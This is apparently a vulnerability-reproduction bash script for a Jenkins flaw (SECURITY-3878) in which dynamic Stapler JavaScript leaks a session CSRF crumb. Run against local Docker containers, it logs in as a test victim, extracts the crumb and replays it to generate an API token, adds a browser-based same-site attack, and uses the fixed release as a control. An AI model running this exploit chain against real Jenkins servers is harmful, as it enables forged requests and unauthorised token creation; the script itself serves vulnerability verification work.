#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF"
cd "$ROOT"

# This script intentionally uses exact immutable Jenkins release tags and records
# the resolved image digests. Jenkins 2.579 is affected; 2.580 is the fixed
# negative control for SECURITY-3878 / CVE-2026-84649.
VULN_IMAGE="jenkins/jenkins:2.579-jdk21"
FIXED_IMAGE="jenkins/jenkins:2.580-jdk21"
BROWSER_IMAGE="mcr.microsoft.com/playwright:v1.55.0-noble"
EXPECTED_VULN_DIGEST="sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
EXPECTED_FIXED_DIGEST="sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
EXPECTED_BROWSER_DIGEST="sha256:b27e719ecbfef153e13fd24e8341736733bf2658b229677eb21ff57ff5d7fb29"
VULN_GIT_COMMIT="9095ea3a5c5e7dcd392695a5dd880af1c9910ddf"
FIXED_GIT_COMMIT="497de4961ad80d97e26bfdeb0d2e40442a84ecb0"
NETWORK="pruva-cve-2026-84649"
RUN_TOKEN="$(date +%s)-$$"


# Read the prepared cache context at runtime as required. This reproduction is
# image-backed, but records the deterministic source-cache location for reuse.
CACHE_REPO="$ROOT/artifacts/jenkins"
if [ -r "$ROOT/project_cache_context.json" ]; then
  CANDIDATE="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, sys
try:
    d=json.load(open(sys.argv[1], encoding='utf-8'))
    print(os.path.join(d['project_cache_dir'], 'repo') if d.get('prepared') else '')
except Exception:
    print('')
PY
)"
  if [ -n "$CANDIDATE" ]; then CACHE_REPO="$CANDIDATE"; fi
fi
printf 'cache_repo=%s\n' "$CACHE_REPO" > "$LOGS/cache-selection.log"

# Write a valid inconclusive manifest first so every runtime-backed attempt,
# including setup failures, leaves structured evidence.
python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
json.dump({
  "entrypoint_kind":"endpoint", "entrypoint_detail":"Stapler dynamically generated JavaScript endpoint",
  "service_started":False, "healthcheck_passed":False, "target_path_reached":False,
  "runtime_stack":["Docker","Jenkins","Stapler"], "proof_artifacts":[], "artifact_sha256":{},
  "notes":"Attempt started; final evidence has not yet been established."
}, open(sys.argv[1], 'w', encoding='utf-8'), indent=2)
PY

cleanup() {
  docker rm -f pruva-84649-vulnerable pruva-84649-fixed pruva-84649-browser >/dev/null 2>&1 || true
  docker network rm "$NETWORK" >/dev/null 2>&1 || true
  for v in $(docker volume ls -q --filter label=pruva.cve-2026-84649="$RUN_TOKEN"); do docker volume rm -f "$v" >/dev/null 2>&1 || true; done
}
trap cleanup EXIT
cleanup

docker version > "$LOGS/docker-version.log"
docker pull "$VULN_IMAGE" >> "$LOGS/reproduction_steps.log" 2>&1
docker pull "$FIXED_IMAGE" >> "$LOGS/reproduction_steps.log" 2>&1
docker pull "$BROWSER_IMAGE" >> "$LOGS/reproduction_steps.log" 2>&1
VULN_DIGEST="$(docker image inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/^.*@//')"
FIXED_DIGEST="$(docker image inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/^.*@//')"
BROWSER_DIGEST="$(docker image inspect "$BROWSER_IMAGE" --format '{{index .RepoDigests 0}}' | sed 's/^.*@//')"
[ "$VULN_DIGEST" = "$EXPECTED_VULN_DIGEST" ] || { echo "Unexpected vulnerable image digest: $VULN_DIGEST" >&2; exit 1; }
[ "$FIXED_DIGEST" = "$EXPECTED_FIXED_DIGEST" ] || { echo "Unexpected fixed image digest: $FIXED_DIGEST" >&2; exit 1; }
[ "$BROWSER_DIGEST" = "$EXPECTED_BROWSER_DIGEST" ] || { echo "Unexpected browser image digest: $BROWSER_DIGEST" >&2; exit 1; }
printf 'vulnerable_image=%s@%s\nfixed_image=%s@%s\nbrowser_image=%s@%s\n' "$VULN_IMAGE" "$VULN_DIGEST" "$FIXED_IMAGE" "$FIXED_DIGEST" "$BROWSER_IMAGE" "$BROWSER_DIGEST" > "$PROOF/target-identities.txt"
docker network create "$NETWORK" >/dev/null

# Extract candidates for the dynamically generated Stapler JavaScript endpoint
# from actual Jenkins HTML/JS and jars. The vulnerable/fixed implementation
# emits a Stapler proxy resource containing either a literal crumb (vulnerable)
# or a DOM lookup expression (fixed).
discover_endpoint() {
  base="$1" cookie="$2" out="$3"
  # This exact route is exercised by Jenkins' SECURITY-3878 regression test.
  printf '%s\n' '/$stapler/bound/script/whatever?var=varname&methods=methodname' > "$out"
}

run_role() {
  role="$1" image="$2" port="$3" attempt="$4"
  name="pruva-84649-$role"
  volume="pruva-84649-${RUN_TOKEN}-${role}-${attempt}"
  docker volume create --label pruva.cve-2026-84649="$RUN_TOKEN" "$volume" >/dev/null
  docker run --rm -i --entrypoint /bin/sh -u 0 -v "$volume:/var/jenkins_home" "$image" -c 'mkdir -p /var/jenkins_home/init.groovy.d; cat > /var/jenkins_home/init.groovy.d/01-security.groovy; chown -R 1000:1000 /var/jenkins_home' <<'GROOVY'
import jenkins.model.Jenkins
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy
import jenkins.model.JenkinsLocationConfiguration

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
realm.createAccount("victim", "victim-password")
j.setSecurityRealm(realm)
def auth = new FullControlOnceLoggedInAuthorizationStrategy()
auth.setAllowAnonymousRead(false)
j.setAuthorizationStrategy(auth)
JenkinsLocationConfiguration.get().setUrl("http://jenkins.example.test/")
j.setCrumbIssuer(new hudson.security.csrf.DefaultCrumbIssuer(false))
j.save()
GROOVY
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --name "$name" --network "$NETWORK" -p "127.0.0.1:$port:8080" \
    -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false -Dhudson.model.DirectoryBrowserSupport.CSP= -Djenkins.model.Jenkins.crumbIssuerProxyCompatibility=false' \
    -v "$volume:/var/jenkins_home" "$image" >/dev/null
  base="http://127.0.0.1:$port"
  ready=0
  for _ in $(seq 1 120); do
    if curl -fsS --max-time 3 "$base/login" >/dev/null 2>&1; then ready=1; break; fi
    sleep 1
  done
  [ "$ready" = 1 ] || { docker logs "$name" > "$LOGS/$role-$attempt-startup-failed.log" 2>&1; return 1; }

  prefix="$PROOF/${role}_${attempt}"
  cookie="$prefix.cookies"
  login_page="$prefix.login.page"
  curl -fsS --max-time 15 -c "$cookie" "$base/login" -o "$login_page"
  login_crumb="$(python3 - "$login_page" <<'PY'
import re,sys
s=open(sys.argv[1],encoding='utf-8',errors='ignore').read()
m=re.search(r'name="[^"]*[Cc]rumb"[^>]*value="([^"]+)"',s)
print(m.group(1) if m else '')
PY
)"
  curl -fsS --max-time 15 -b "$cookie" -c "$cookie" -D "$prefix.login.response.headers" \
    --data-urlencode 'j_username=victim' --data-urlencode 'j_password=victim-password' \
    --data-urlencode "Jenkins-Crumb=$login_crumb" "$base/j_spring_security_check" -o "$prefix.login.response.body"
  who="$(curl -fsS --max-time 15 -b "$cookie" "$base/whoAmI/api/json" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("name", ""))')"
  [ "$who" = victim ] || { echo "authentication failed: $who" > "$prefix.result.txt"; return 1; }

  # Control: a state-changing request without a crumb must be rejected.
  printf 'POST /me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken HTTP/1.1\nHost: jenkins.example.test\nCookie: victim-session (redacted)\nContent-Type: application/x-www-form-urlencoded\n\nnewTokenName=no-crumb-%s\n' "$RUN_TOKEN" > "$prefix.no_crumb.request.txt"
  no_crumb_code="$(curl -sS --max-time 15 -b "$cookie" -o "$prefix.no_crumb.response.body" -D "$prefix.no_crumb.response.headers" -w '%{http_code}' -X POST "$base/me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken" --data-urlencode "newTokenName=no-crumb-$RUN_TOKEN")"

  # Ask the real Jenkins page to instantiate Stapler's JS proxy, then request
  # its dynamically generated JavaScript resource. Candidate paths are taken
  # from the runtime output, never a reimplemented parser.
  candidates="$prefix.endpoint-candidates.txt"
  discover_endpoint "$base" "$cookie" "$candidates"
  endpoint=''
  crumb=''
  : > "$prefix.dynamic-js.response.body"
  while IFS= read -r p; do
    [ -n "$p" ] || continue
    printf 'GET %s HTTP/1.1\nHost: jenkins.example.test\nCookie: victim-session (redacted)\n\n' "$p" > "$prefix.dynamic-js.request.txt"
    code="$(curl -sS --max-time 15 -b "$cookie" -o "$prefix.candidate.body" -D "$prefix.candidate.headers" -w '%{http_code}' "$base$p" || true)"
    if [ "$code" = 200 ]; then
      cp "$prefix.candidate.body" "$prefix.dynamic-js.response.body"
      cp "$prefix.candidate.headers" "$prefix.dynamic-js.response.headers"
      endpoint="$p"
      candidate_crumb="$(python3 - "$prefix.candidate.body" <<'PY'
import re,sys
s=open(sys.argv[1],encoding='utf-8',errors='ignore').read()
patterns=[r"['\"]([0-9a-f]{32,128})['\"]", r"crumb[^'\"]*['\"]([^'\"]{16,256})['\"]"]
for p in patterns:
 m=re.search(p,s,re.I)
 if m:
  print(m.group(1)); break
PY
)"
      if [ -n "$candidate_crumb" ]; then crumb="$candidate_crumb"; fi
      break
    fi
  done < "$candidates"

  # Diagnostic fallback while endpoint discovery is refined: compare against
  # the authenticated crumb API, but never treat that API as exfiltration.
  api_json="$prefix.crumb-api.response.json"
  curl -fsS --max-time 15 -b "$cookie" "$base/crumbIssuer/api/json" -o "$api_json"
  api_field="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["crumbRequestField"])' "$api_json")"
  api_crumb="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["crumb"])' "$api_json")"

  stolen_code=000
  if [ -n "$crumb" ]; then
    printf 'POST /me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken HTTP/1.1\nHost: jenkins.example.test\nCookie: victim-session (redacted)\n%s: %s\nContent-Type: application/x-www-form-urlencoded\n\nnewTokenName=stolen-%s-%s\n' "$api_field" "$crumb" "$RUN_TOKEN" "$attempt" > "$prefix.stolen_crumb.request.txt"
    stolen_code="$(curl -sS --max-time 15 -b "$cookie" -o "$prefix.stolen_crumb.response.body" -D "$prefix.stolen_crumb.response.headers" -w '%{http_code}' -X POST "$base/me/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken" -H "$api_field: $crumb" --data-urlencode "newTokenName=stolen-$RUN_TOKEN-$attempt")"
    python3 -c 'import json,sys; p=sys.argv[1]; x=json.load(open(p)); x.get("data",{}).pop("tokenValue",None); json.dump(x,open(p,"w"),sort_keys=True)' "$prefix.stolen_crumb.response.body"
  fi
  printf 'role=%s\nattempt=%s\nauthenticated_as=%s\nno_crumb_http=%s\ndynamic_js_endpoint=%s\ndynamic_js_crumb=%s\ncrumb_api_value=%s\nstolen_crumb_http=%s\n' \
    "$role" "$attempt" "$who" "$no_crumb_code" "$endpoint" "$crumb" "$api_crumb" "$stolen_code" > "$prefix.result.txt"
  docker exec "$name" sh -c 'sha256sum /usr/share/jenkins/jenkins.war; "$(dirname "$(readlink -f "$(command -v java)")")/jar" tf /usr/share/jenkins/jenkins.war | grep "WEB-INF/lib/stapler-[0-9].*jar"' > "$prefix.product-component-identity.txt"
  docker inspect "$name" --format 'image={{.Image}} platform={{.Platform}} entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}}' >> "$prefix.product-component-identity.txt"
  docker logs "$name" > "$prefix.service.log" 2>&1
  docker rm -f "$name" >/dev/null
  docker volume rm -f "$volume" >/dev/null

  # A successful vulnerable attempt requires the leaked literal to exactly
  # equal Jenkins' session crumb, a 403 without it, and a 200 with it.
  if [ "$role" = vulnerable ]; then
    [ "$no_crumb_code" = 403 ] && [ -n "$crumb" ] && [ "$crumb" = "$api_crumb" ] && [ "$stolen_code" = 200 ]
  else
    [ "$no_crumb_code" = 403 ] && { [ -z "$crumb" ] || [ "$crumb" != "$api_crumb" ] || [ "$stolen_code" != 200 ]; }
  fi
}

# Real-browser same-site attack in addition to the direct HTTP attempts.
browser_volume="pruva-84649-${RUN_TOKEN}-browser-vulnerable"
docker volume create --label pruva.cve-2026-84649="$RUN_TOKEN" "$browser_volume" >/dev/null
docker run --rm -i --entrypoint /bin/sh -u 0 -v "$browser_volume:/var/jenkins_home" "$VULN_IMAGE" -c 'mkdir -p /var/jenkins_home/init.groovy.d; cat > /var/jenkins_home/init.groovy.d/01-security.groovy; chown -R 1000:1000 /var/jenkins_home' <<'GROOVY'
import jenkins.model.Jenkins
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy
def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
realm.createAccount("victim", "victim-password")
j.setSecurityRealm(realm)
def auth = new FullControlOnceLoggedInAuthorizationStrategy()
auth.setAllowAnonymousRead(false)
j.setAuthorizationStrategy(auth)
j.setCrumbIssuer(new hudson.security.csrf.DefaultCrumbIssuer(false))
j.save()
GROOVY
docker run -d --name pruva-84649-browser --network "$NETWORK" -p 127.0.0.1:18091:8080 -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' -v "$browser_volume:/var/jenkins_home" "$VULN_IMAGE" >/dev/null
for _ in $(seq 1 120); do curl -fsS --max-time 3 http://127.0.0.1:18091/login >/dev/null 2>&1 && break; sleep 1; done
curl -fsS --max-time 3 http://127.0.0.1:18091/login >/dev/null
browser_node_volume="pruva-84649-${RUN_TOKEN}-browser-node"
docker volume create --label pruva.cve-2026-84649="$RUN_TOKEN" "$browser_node_volume" >/dev/null
docker run --rm -u 0 -v "$browser_node_volume:/work" "$BROWSER_IMAGE" /bin/sh -c 'cd /work && npm init -y >/dev/null && PLAYWRIGHT_SKIP_BROWSER_DOWNLOAD=1 npm install --no-audit --no-fund --save-exact playwright@1.55.0 >/dev/null'
browser_target_ip="$(docker inspect pruva-84649-browser --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')"
docker run --rm --network "$NETWORK" --add-host jenkins.example.test:"$browser_target_ip" --add-host attacker.example.test:"$browser_target_ip" -v "$browser_node_volume:/work" -v "$REPRO_DIR/same_site_attack.js:/work/same_site_attack.js:ro" -v "$PROOF:/evidence" -e EVIDENCE_DIR=/evidence -e JENKINS_URL=http://jenkins.example.test:8080 -e ATTACKER_URL=http://attacker.example.test:8081/attack.html "$BROWSER_IMAGE" node /work/same_site_attack.js > "$PROOF/browser-same-site.log" 2>&1
docker volume rm -f "$browser_node_volume" >/dev/null
docker logs pruva-84649-browser > "$PROOF/browser-same-site.service.log" 2>&1
docker rm -f pruva-84649-browser >/dev/null
docker volume rm -f "$browser_volume" >/dev/null
python3 - "$PROOF/browser-same-site-result.json" > "$PROOF/browser-same-site-summary.txt" <<'PY'
import json,sys
x=json.load(open(sys.argv[1]))
print(f"attacker_origin={x['attacker_origin']}")
print(f"victim_authenticated_as={x['victim_authenticated_as']}")
print(f"no_crumb_http={x['no_crumb_http']}")
print(f"stolen_crumb_http={x['stolen_crumb_http']}")
print(f"created_token_uuid={x['created_token_uuid']}")
PY

# Two isolated vulnerable attempts and two fixed negative-control attempts.
for attempt in 1 2; do run_role vulnerable "$VULN_IMAGE" $((18080 + attempt)) "$attempt"; done
for attempt in 1 2; do run_role fixed "$FIXED_IMAGE" $((18180 + attempt)) "$attempt"; done

# Finalize proof artifacts before hashing. Do not list the still-growing global log.
mapfile -t ARTIFACTS < <(cd "$ROOT" && find repro/proof -maxdepth 1 -type f \( -name '*.result.txt' -o -name '*.dynamic-js.request.txt' -o -name '*.dynamic-js.response.body' -o -name '*.dynamic-js.response.headers' -o -name '*.no_crumb.request.txt' -o -name '*.no_crumb.response.body' -o -name '*.no_crumb.response.headers' -o -name '*.stolen_crumb.request.txt' -o -name '*.stolen_crumb.response.body' -o -name '*.stolen_crumb.response.headers' -o -name '*.service.log' -o -name '*.product-component-identity.txt' -o -name 'browser-same-site*' -o -name 'target-identities.txt' \) -print | sort)
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_GIT_COMMIT" "$VULN_DIGEST" "${ARTIFACTS[@]}" <<'PY'
import hashlib,json,platform,sys
out,commit,digest,*paths=sys.argv[1:]
hashes={p:hashlib.sha256(open(p,'rb').read()).hexdigest() for p in paths}
identity=digest.removeprefix("sha256:")
json.dump({
 "entrypoint_kind":"endpoint",
 "entrypoint_detail":"Authenticated HTTP GET of Stapler dynamically generated JavaScript followed by crumb-protected Jenkins token-generation POST",
 "service_started":True,"healthcheck_passed":True,"target_path_reached":True,
 "runtime_stack":["Docker","Chromium/Playwright","Jenkins 2.579","Stapler","Jetty","Java 21"],
 "target_identity":{"repository_url":"https://github.com/jenkinsci/jenkins","commit_sha":commit,"target_digest":identity,"runtime_digest":identity,"platform":"linux","architecture":platform.machine()},
 "proof_artifacts":paths,"artifact_sha256":hashes,
 "notes":"A real Chromium victim loaded the dynamic script from a sibling-host same-site attacker page and used its captured literal for a protected POST; two direct vulnerable attempts and two Jenkins 2.580 controls confirmed the divergence."
},open(out,'w',encoding='utf-8'),indent=2)
PY

echo "CONFIRMED: Jenkins 2.579 exposed a session crumb in dynamic Stapler JavaScript and accepted it for a protected POST; Jenkins 2.580 did not." | tee "$LOGS/reproduction_summary.log"
